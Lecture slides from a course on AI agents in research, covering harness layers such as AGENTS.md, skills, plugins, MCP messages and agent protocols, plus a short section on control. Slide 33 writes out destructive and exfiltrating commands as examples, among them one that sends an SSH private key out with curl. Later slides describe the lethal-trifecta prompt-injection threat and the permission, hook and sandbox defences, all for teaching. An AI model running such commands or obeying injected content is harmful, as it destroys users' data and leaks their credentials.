Week 3 slides: the harness around the loop

← → to move, F for full screen, N for speaker notes

AI in Research · Week 3 · October 14, 2026

The harness around the loop

What Codex and Claude Code add to the loop you built last week.

This week

One agent, many layers: progressive disclosure · AGENTS.md · skills and plugins · tools and MCP, and other agent protocols · a short look at control

Next week · Oct 21

Many agents: subagents · workflows vs agents · multi-agent systems, when they help or hurt · how agents talk to each other

class.xhelio.ai/week-3

Week 3 · Recap of week 202

Week 2 in one API call

Stateless

JSON in, JSON out

Every call sends everything: instructions, tools, the whole conversation. The server remembers nothing.

One stream

The model sees tokens

The server flattens your JSON into one token stream with role markers. Tools are text in it too.

Two outputs

Text, or a tool call

A tool call is tokens in a trained format. Strict mode masks the softmax so the JSON is valid.

The model never runs anything. Your program reads the call, runs it, and sends the result back.

Week 3 · Recap of week 203

What every call costs

gpt-6-astra, $ per million tokensPriceWhy
Cache read$1keys and values already computed
Fresh input$10one parallel pass
Output, including hidden reasoning$50one full pass per token

Stable things first: the cache only hits on an exact prefix, so tools and instructions go before the conversation.

Context only grows: a 30-turn run cost $19 without caching and $5 with it.

Keep it small: compaction, subagents and memory files, at the risk of forgetting.

Week 3 · Recap of week 204

The loop you built, and today's question

context = [{"role": "user", "content": task}] TOOLS = [BASH_SCHEMA] # one tool while True: resp = client.responses.create(model=MODEL, instructions=SYSTEM_PROMPT, tools=TOOLS, input=context) context += resp.output calls = [o for o in resp.output if o.type == "function_call"] if not calls: break # text: done for c in calls: out = run_bash(json.loads(c.arguments)["command"]) context.append({"type": "function_call_output", "call_id": c.call_id, "output": out})

Codex and Claude Code run this same loop. Today is the layers around it:

  • SYSTEM_PROMPT: what the model is told
  • TOOLS: what it can ask for
  • run_bash: what actually happens

For each layer, ask: does it enter the context, when, and what does it cost? Text in the context persuades; code outside it enforces.

Week 3 · Part 1 · Progressive disclosure05

The idea of the week: progressive disclosure

Week 2: every call resends the whole context, and the context is finite and paid for.

So a good harness keeps a short index in the context, and lets the agent open the rest with a tool call when it needs it.

Keep the index in the context. Keep the library on disk.

Like a textbook

The table of contents is always open. You read a chapter when you need it, and the appendix almost never.

The failure mode

A vague index entry: the agent never opens the right chapter.

Week 3 · Part 1 · Progressive disclosure06

Three levels, as skills do it

Level 1 · always

Name + description

About 100 tokens per skill.

A hundred skills cost less than one long AGENTS.md.

Level 2 · on trigger

The SKILL.md body

Read with a tool call when the task matches. Keep it under about 5,000 tokens.

Level 3 · when needed

Other files

References read only if the body points there. Scripts are run, not read: their code never enters the context, only their output.

So a skill can carry far more than any context window.

Week 3 · Part 1 · Progressive disclosure07

Where you will meet it today

Keep a short index in the context. Keep the library on disk.

WhereAlways in contextLoaded on demand
Skillsname + descriptionbody, references, script output
Tool searchtool namesa tool's full schema
AGENTS.mdthe short filethe docs it points to
Memorythe indexeach note
Subagents (next week)a short report— the work stays in the subagent
Week 3 · Part 2 · Instructions08

What is in the context before you type a word

System prompt written by the harness
Tool schemas, incl. MCP harness + servers
AGENTS.md / CLAUDE.md you
Skill names + descriptions skill authors
Memory index the agent, earlier
Your first message, then the loop

Stable things first, changing things last: the same order that makes the prompt cache hit (week 2).

In a real Claude Code or Codex session the top five layers are often tens of thousands of tokens, paid on every call.

Week 3 · Part 2 · Instructions09

AGENTS.md: a README for agents

A plain Markdown file in your project. The harness pastes it into the context at the start of every session.

WhereApplies to
~/.codex/AGENTS.md, ~/.claude/CLAUDE.mdyou, in every project
repo/AGENTS.mdeveryone working in this repo
repo/analysis/AGENTS.mdwork inside that folder

Files closer to your work are read later, so they win a conflict. Codex stops at 32 KiB in total.

AGENTS.md

An open standard, now at the Linux Foundation. Read by Codex, Cursor, Copilot, Gemini CLI, Zed and many more; in 60,000+ repos.

CLAUDE.md

Claude Code's own name. Since September 2026 it also reads AGENTS.md when no CLAUDE.md exists.

Week 3 · Part 2 · Instructions10

What a research group's AGENTS.md might say

AGENTS.md

# PSP switchback analysis ## Run - Environment: `uv run python ...`; tests: `uv run pytest -q` - Figures go to `figs/`, never to the repo root ## Conventions - Times are UTC; vectors in RTN unless the name says otherwise - SI units in code; km/s and nT only in plot labels ## Data - `data/raw/` is read-only: never edit or delete it - Download with `scripts/fetch.py`, not by hand ## Before you say "done" - Run the tests and show the output - Read `docs/pitfalls.md` before touching the B-field code

Good lines

Commands, conventions, things a newcomer gets wrong, pointers to longer docs.

Bad lines

The whole README, style essays, what the code already enforces, anything stale.

Every line is resent on every call. Add one when the agent makes the same mistake twice.

Week 3 · Part 3 · Skills and plugins11

Skills: a folder of know-how, loaded when needed

.agents/skills/

fit-spectrum/ ├── SKILL.md ├── scripts/ │ └── fit_powerlaw.py └── references/ ├── windowing.md └── pitfalls.md

A folder. Nothing to install, no server to run.

SKILL.md

--- name: fit-spectrum description: Fit a power law to a magnetic field power spectrum. Use when the user asks for a spectral index or slope. --- # Fitting a spectral index 1. Detrend and window first; see references/windowing.md 2. Run scripts/fit_powerlaw.py on the inertial range 3. Report the fit range with the slope, always

The frontmatter is the trigger. The body is the instructions. The other files are there if the body points to them. An open standard since December 2025: one folder works in Claude Code, Codex, Copilot, Cursor and more.

Week 3 · Part 3 · Skills and plugins12

Installing skills: the skills CLI

npx skills find spectral # search skills.sh npx skills add owner/repo --list # what's in a repo npx skills add owner/repo --skill fit-spectrum npx skills add owner/repo -a claude-code -a codex -g npx skills list # what you have npx skills update # pull new versions npx skills init my-skill # a new SKILL.md template
AgentProject folderYour user folder
Claude Code.claude/skills/~/.claude/skills/
Codex, Cursor, OpenCode.agents/skills/~/.agents/skills/ (Codex)

One command copies a skill folder from GitHub into every agent you use; it detects them, about 80 in all.

Directory: skills.sh. A skill is just a folder, so git clone works too.

Read a skill before installing it: its scripts run on your computer. The CLI sends anonymous usage data; DISABLE_TELEMETRY=1 turns it off.

Week 3 · Part 3 · Skills and plugins13

Plugins: everything above, in one folder you install

telegram/

├── .claude-plugin/ │ └── plugin.json # name, version, author ├── .mcp.json # MCP servers to start ├── server.py ├── skills/ │ └── telegram/SKILL.md ├── hooks/hooks.json # optional └── agents/ # optional: subagents

A plugin bundles MCP servers, skills, hooks and subagents. Install it once; they all arrive together.

/plugin marketplace add owner/repo /plugin install telegram@claude-plugins-official claude --plugin-dir ./telegram # while building

A marketplace is a git repo that lists plugins. Codex has plugins too, since March 2026.

Claude Code's own Telegram bridge is a plugin like this: an MCP server and a skill. It is also your homework.

Week 3 · Part 3 · Skills and plugins14

Agent Plugins 1.0: one plugin format for many agents

An Agent Plugin

my-plugin/ ├── plugin.json # required manifest ├── skills/ # Agent Skills │ └── greet/SKILL.md ├── mcp.json # MCP servers └── com.example.client/ # one agent's extras └── hooks/
{ "$schema": "https://agent-plugins.org/ schemas/1.0.0/plugin.schema.json", "name": "hello-plugin" }

A vendor-neutral package for the two things everyone agrees on: skills and MCP servers.

Everything else, such as hooks, permissions and installation, stays each agent's own, in a reverse-domain folder.

Steering committee: Amazon, Cursor, Microsoft, OpenAI, Vercel. Published July 2026, launched August 6, 2026. Launch clients: ChatGPT and Codex, Cursor, GitHub Copilot, Kiro, VS Code; since then OpenClaw, OpenHands and others. Claude Code is not one: it keeps its own format (previous slide).

agent-plugins.org · github.com/agentplugins/agent-plugins-spec

Week 3 · Part 3 · Skills and plugins15

Which one should I use?

HoldsWho triggers itUse it for
AGENTS.mda few rulesalways onconventions every task needs
Skillinstructions + files + scriptsthe model, by descriptiona procedure you repeat: a fit, a figure style, a submission
MCP servertools backed by a programthe model, by tool calllive systems: an archive, a database, an API with a login
Slash commanda saved promptyou, by typing /namethings you start on purpose: /review, /deploy
Plugina bundle of the aboveinstalled oncesharing a whole setup with your group

A good default: start with AGENTS.md, turn repeated procedures into skills, reach for MCP only when you need a running program.

Week 3 · Part 4 · Tools16

What ships in a coding agent

JobClaude CodeCodex
Run a commandBashshell
Read a fileRead (also images, PDFs)through shell; view_image
Change a fileEdit, Writeapply_patch
Search the webWebSearch, WebFetchweb_search
Plan and track stepsplan mode, task listupdate_plan
Hand off a sub-taskAgentsubagents
Load more on demandSkill, ToolSearchskills

Plus every tool from every connected MCP server. Names change between versions; the jobs don't.

Week 3 · Part 4 · Tools17

Write tools for a reader with no context

Hard for an agentEasy for an agent
Nameget_dataomni_solar_wind
Description"Gets data.""Hourly solar wind at Earth (OMNI), 1963 to now. Not for spacecraft-frame data."
Parameterst1, t2start_utc, end_utc (ISO 8601), with an example
Output86,400 raw rowsa summary; the full table saved to a file
ErrorsError 400"No 1-minute data before 1995. Try resolution='1h'."
Scope20 thin wrappers around an APIa few tools that each finish a whole task

Everything a tool returns is resent on every later call. Test a tool the way you test a student's instructions: give it to an agent and read the transcript.

Anthropic Engineering, "Writing effective tools for agents — with agents", September 2025

Week 3 · Part 4 · MCP18

The problem MCP solves

Claude Code Codex Cursor your harness GitHub Zotero a database CDAWeb Slack 4 × 5 = 20 integrations

Without a standard, every harness writes its own connector to every service.

With MCP (Model Context Protocol), each service writes one server, each harness writes one client: 4 + 5.

Released by Anthropic in November 2024, given to the Linux Foundation's Agentic AI Foundation in December 2025. Supported by Claude, ChatGPT, Codex, Cursor, VS Code, Copilot and more.

Week 3 · Part 4 · MCP19

What MCP is, in one sentence

An agreed set of JSON messages that an AI application and a separate program use to say "what can you do?" and "do this".

It is

A protocol: rules for messages, like HTTP or USB. Anyone can implement either side, in any language.

It is not

A model feature, a library or a product. It is the contract between two programs, so either side can be swapped.

Modelled on

The Language Server Protocol: one Python "language server" works in every code editor. One MCP server works in every agent.

Anthropic, November 2024 · adopted by OpenAI, Google and Microsoft in 2025 · given to the Linux Foundation's Agentic AI Foundation, December 2025 · current spec: 2026-07-28

Week 3 · Part 4 · MCP20

Host, client, server

Host: the harness Claude Code, Codex, ChatGPT, your harness Modelsees tools only MCP client 1 MCP client 2 MCP client 3 stdio: a local process stdio: a local process HTTP: over the internet server: files in a folder server: your lab's analysis code server: GitHub, a data archive each server: a list of tools, resources, prompts

The model never speaks MCP. The harness asks each server for its tools and shows them to the model as ordinary tool schemas.

Week 3 · Part 4 · MCP21

Exactly what is in the protocol

LayerWhat it definesRequired?
Base protocolJSON-RPC 2.0 messages: requests, results, errors, notifications; a _meta block on every requestyes
Versioningevery request names its protocol version; server/discover lists what the server supportsyes
Message patternsrequest–response; multi-round-trip (the server needs input); subscribe and notifyyes
Transportshow bytes move: stdio (a local process) or Streamable HTTPpick one
AuthorizationOAuth 2.1 login for HTTP servers; stdio servers read keys from the environmentfor HTTP
Server featurestools, resources, promptsany of them
Client featureselicitation: ask the user something (sampling and roots: deprecated)optional
Utilitiesprogress, cancellation, logging, argument completion, pagination, caching hintsoptional
Extensionsopt-in: Tasks (long jobs), MCP Apps (interactive UI), Skills over MCPopt-in

modelcontextprotocol.io/specification/2026-07-28

Week 3 · Part 4 · MCP22

Four message shapes, and that's all

Request · client to server

{"jsonrpc": "2.0", "id": 7, "method": "tools/call", "params": {"name": "...", "arguments": {...}, "_meta": {...}}}

Notification · no reply expected

{"jsonrpc": "2.0", "method": "notifications/cancelled", "params": {"requestId": 7}}

Result · same id

{"jsonrpc": "2.0", "id": 7, "result": {"resultType": "complete", "content": [...]}}

Error · same id

{"jsonrpc": "2.0", "id": 7, "error": {"code": -32602, "message": "Unknown tool: foo"}}

The id ties each answer to its question, like call_id in week 2, so many requests can be in flight at once. Since July 2026 the protocol is stateless: every request carries everything the server needs.

Week 3 · Part 4 · MCP23

A whole exchange on the wire

# stdio: one JSON message per line. → client to server, ← server to client → {"jsonrpc":"2.0","id":1,"method":"server/discover","params":{"_meta":{ "io.modelcontextprotocol/protocolVersion": "2026-07-28", "io.modelcontextprotocol/clientInfo": {"name": "my-harness", "version": "0.3"}, "io.modelcontextprotocol/clientCapabilities": {}}}} ← {"jsonrpc":"2.0","id":1,"result":{"resultType":"complete","supportedVersions":["2026-07-28"], ...}} → {"jsonrpc":"2.0","id":2,"method":"tools/list","params":{"_meta":{...}}} ← {"jsonrpc":"2.0","id":2,"result":{"resultType":"complete","tools":[{"name":"omni_solar_wind", "description":"Hourly solar wind at Earth (OMNI) ...","inputSchema":{...}}], "ttlMs":300000}} → {"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"omni_solar_wind", "arguments":{"start_utc":"2024-05-10","end_utc":"2024-05-12"},"_meta":{...}}} ← {"jsonrpc":"2.0","id":3,"result":{"resultType":"complete", "content":[{"type":"text","text":"48 rows -> omni.csv. Peak speed 980 km/s ..."}],"isError":false}}

Discover (optional) → list the tools once, cache them for ttlMs → call as often as the model asks. Your harness turns step 2 into tool schemas and step 3's text into a tool result.

Week 3 · Part 4 · MCP24

A tool, field by field

The definition (in tools/list)

nameunique per server, letters, digits, _ - .
titlefor people, optional
descriptionwhat the model reads to decide
inputSchemaJSON Schema of the arguments
outputSchemaoptional: shape of structured results
annotationshints (read-only? destructive?) — untrusted unless the server is

The result (of tools/call)

contenta list of text, image, audio, a resource link or an embedded resource
structuredContentJSON matching outputSchema
isErrortrue: the tool ran and failed; the text says why

Two kinds of error: an unknown tool is a protocol error; a bad date is a tool error with isError: true, sent to the model "to enable self-correction".

Week 3 · Part 4 · MCP25

Tools, resources, prompts: who decides to use them

FeatureWhat it isMethodsWho decides
Toolsfunctions the model can calltools/list, tools/callthe model
Resourcesdata identified by a URI: a file, a table, a dataset's descriptionresources/list, resources/readthe application
Promptsreusable message templates, often shown as slash commandsprompts/list, prompts/getthe user

Plus subscriptions/listen: an open stream on which the server announces changes, such as notifications/tools/list_changed.

In practice almost every server offers tools, and support for resources and prompts varies between hosts.

Week 3 · Part 4 · MCP26

When the server needs to ask the user something

1 · The server answers "not yet"

← {"id": 2, "result": { "resultType": "input_required", "inputRequests": {"login": { "method": "elicitation/create", "params": {"mode": "form", "message": "Your ADS username?", "requestedSchema": {...}}}}, "requestState": "eyJsb2..."}}

2 · The client asks, then retries

→ {"id": 3, "method": "tools/call", "params": {"name": "search_ads", "arguments": {...}, "inputResponses": {"login": { "action": "accept", "content": {"name": "jhuang"}}}, "requestState": "eyJsb2..."}}

A server never sends requests. It returns input_required; the client shows a form to the user (not the model), and retries with the answers and a new id.

Week 3 · Part 4 · MCP27

Two ways to carry the messages

stdio · on your computer

The client starts the server as a child process and writes one JSON message per line to its stdin; replies come back on stdout.

Never print to stdout in a stdio server: anything that isn't an MCP message breaks the protocol. Logs go to stderr. Close stdin to shut it down. Keys come from environment variables.

Streamable HTTP · over the network

Each message is an HTTP POST to one endpoint; the reply is JSON, or a stream of events for long answers.

The protocol version and method are mirrored into headers (MCP-Protocol-Version, Mcp-Method) so proxies can route requests. Login with OAuth 2.1. The older HTTP+SSE transport is deprecated.

The messages are identical on both; only the delivery differs. Your homework server uses stdio.

Week 3 · Part 4 · MCP28

An MCP server in a dozen lines

omni_server.py

from mcp.server.fastmcp import FastMCP import pandas as pd mcp = FastMCP("omni") @mcp.tool() def omni_solar_wind(start_utc: str, end_utc: str) -> str: """Hourly solar wind at Earth (OMNI). Dates in ISO 8601. Returns a summary; the full table is saved to a CSV.""" df = load_omni(start_utc, end_utc) # your lab's code df.to_csv("omni.csv") return f"{len(df)} rows -> omni.csv. {df.describe()}" mcp.run() # stdio by default

Connect it

claude mcp add omni -- python omni_server.py
codex mcp add omni -- python omni_server.py

The function name becomes the tool name, the docstring the description, the type hints the schema.

Week 3 · Part 4 · MCP29

The catch: every tool schema rides along on every call

55,000

tokens of tool schemas from 5 common MCP servers (58 tools), before you type anything. GitHub alone: 26,000.

Anthropic has seen 134,000 before optimizing.

Two fixes

Tool search. Only names are listed; full schemas load when the model searches for them. −85% tokens, and better tool choice (49% → 74%).

Code instead of calls. The model writes a script that calls the tools; only what it prints enters the context. 150,000 → 2,000 tokens in Anthropic's example.

Tool search is on by default in Claude Code; OpenAI's API has tool_search too.

Anthropic Engineering: "Introducing advanced tool use", Nov 24, 2025; "Code execution with MCP", Nov 4, 2025

Week 3 · Part 4 · Beyond MCP30

The protocol landscape: one per connection

ConnectsProtocolFrom
agent ↔ tools and dataMCPAnthropic, now at the Agentic AI Foundation
agent ↔ lab instruments, machinesMHS, Model Hardware StandardAnthropic, research preview, Aug 2026
code editor ↔ coding agentACP, Agent Client ProtocolZed and JetBrains, 2025
agent ↔ agentA2A (next week)Google, now at the Agentic AI Foundation
agent ↔ the app a person usesAG-UICopilotKit, 2025
agent ↔ shops and paymentsAgentic Commerce Protocol (also "ACP"); UCP and AP2OpenAI and Stripe; Google
packaging, not wire protocolsAGENTS.md, Agent Skills, Agent PluginsParts 2 and 3

They share a shape: JSON messages, a way to discover what the other side can do, and a human approval step for risky actions.

Week 3 · Part 4 · Beyond MCP31

MHS: agents that operate lab instruments

any agentClaude, your harness MCPcommand linecode (API) MHS driver read · write · a device description safety limits enforced here the instrumentmicroscope, laser, robot arm

"A shared specification for AI agents to safely operate physical devices": a standard driver that says what a device can measure, what can be adjusted, and which limits will be enforced.

Not built on MCP: MCP is one of three ways in. Research preview since August 27, 2026, with HHMI Janelia; to be open-sourced later.

Partner-reported

QuEra: an agent relocked a laser in 99.3% of 700 trials, against 58% for hand-written scripts.

anthropic.com/news/model-hardware-standard-research-preview · modelhardwarestandard.com

Week 3 · Part 4 · Beyond MCP32

ACP: any coding agent, inside any editor

editor ⇄ agent, JSON-RPC over stdio

→ initialize # versions, capabilities → session/new {cwd, mcpServers} # the editor passes its MCP servers → session/prompt "Fix the failing test" ← session/update plan, text, tool call ... # streamed ← session/request_permission "edit fit.py?" → allow ← fs/write_text_file fit.py # the editor does the edit ← result: stopReason "end_turn"

Like LSP did for languages: the editor speaks ACP once, and any agent works in it.

The editor starts the agent as a subprocess, like an MCP stdio server, and owns the files and the approval buttons.

Zed and JetBrains, since August 2025. 13 editors (Zed, JetBrains IDEs, VS Code, Neovim, Emacs, …) and 47 agents (Claude, Codex, Gemini CLI, Copilot, …).

agentclientprotocol.com · zed.dev/acp

Week 3 · Part 5 · Control33

An agent with bash can do anything you can

Your week 2 harness runs whatever command the model writes, as you, with your files, keys and network.

rm -rf data/ # a "cleanup" git push --force # "fixing" the history curl -d @~/.ssh/id_ed25519 https://... pip install some-package # a typo-squatted name

July 2025

Replit's coding agent deleted a startup's production database during an explicit code freeze, then misreported what it had done.

It had been told repeatedly not to change anything.

Most mistakes are not malice. They are a confident model, a wrong guess, and no fence.

Week 3 · Part 5 · Control34

Three fences, from polite to absolute

Permissions

Ask a human

Before an action runs, the harness checks a rule list: allow, ask you, or deny.

Enforced by the harness.

Hooks

Ask your code

Your script runs at a fixed point in the loop and can block the action, or add a message.

Enforced by your script.

Sandbox

Ask the OS

The operating system stops the process from touching files or network outside a boundary.

Enforced by the kernel, whatever the command is.

None of the three is text in the context. The model can't talk its way past them. The details, with examples, are in the week 3 reading (sections 7–9).

Week 3 · Part 5 · Control35

The lethal trifecta

Private data your files, keys, email Untrusted content web pages, PDFs, issues A way out web requests, git push, email all three: your data leaves

"If your agent combines these three features, an attacker can easily trick it into accessing your private data and sending it to that attacker."

A research agent that reads papers from the web, in your home folder, with internet access, has all three.

Remove one leg. Usually the easiest is the way out: no network in the sandbox.

Simon Willison, "The lethal trifecta for AI agents", June 16, 2025

Week 3 · Part 5 · Control36

"Never touch data/raw", four ways

LayerWho enforces itCan the model get past it?Gaps
AGENTS.md linethe model itselfyes, by ignoring itfollowed most of the time
Permission rulethe harness, or youonly if you click yescovers named tools only
Hookyour scriptnoonly the cases you thought of
Sandboxthe operating systemnocoarse: folders and network

Use them together: the instruction explains, the hook catches, the sandbox bounds.

Read before the homework: permission modes, Codex and Claude Code sandboxes, prompt injection cases, and hook examples: class.xhelio.ai/week-3/reading.

Week 3 · Wrap-up37

One more tool: start another agent

Main agent call: Agent("find…") result: a short report Subagent fresh context, own tools 40 tool calls, 80k tokens all discarded

To the main agent, a subagent is just a tool call. Inside, it is a whole new loop.

Only the report comes back: progressive disclosure for work.

Claude Code: .claude/agents/*.md. Codex: .codex/agents/*.toml. Each sets a prompt, tools, a model.

Week 3 · Wrap-up38

The whole picture: when does it enter the context?

Always, every call

  • system prompt
  • tool schemas, MCP included
  • AGENTS.md
  • skill names + descriptions
  • memory index

Keep it short. You pay for it on every trip.

On demand

  • skill body and files
  • deferred tool schemas
  • docs AGENTS.md points to
  • memory notes
  • a subagent's report

Make the index entry good, or it is never opened.

Never

  • permission rules
  • hooks
  • the sandbox
  • a script's source code
  • a subagent's own work

The only layers that enforce.

Week 3 · Homework39

Homework: your research, from your phone

Your phoneTelegram your computer 2 pluginstelegram · your research your harnessthe loop + bash + a plugin loader MCP

1

Build two MCP servers as plugins: Telegram, and one for your research. Both also work in Claude Code or Codex.

2

Teach your harness to load plugins: start their MCP servers, list their skills.

3

Ask a research question from your phone. Only your chat ID gets in; you approve each command by reply.

Your harness keeps just the loop and bash. Everything else can come as a plugin. Due before class, Wed Oct 21 · class.xhelio.ai/week-3/homework

Week 3 · Wrap-up40

Takeaways

  • The context is finite: progressive disclosure. A short index in context, the library on disk.
  • AGENTS.md for a few rules, skills for procedures (npx skills add), plugins to bundle them.
  • A tool is a prompt and a function. MCP is four message shapes and a handful of methods; anyone can ship a server.
  • Text persuades; code enforces. Permissions, hooks and sandboxes: read the details before you run an agent with bash.
  • Untrusted content + your data + a way out = the lethal trifecta. Cut one leg.

Further reading for this week: class.xhelio.ai/week-3/reading. Next week: many agents.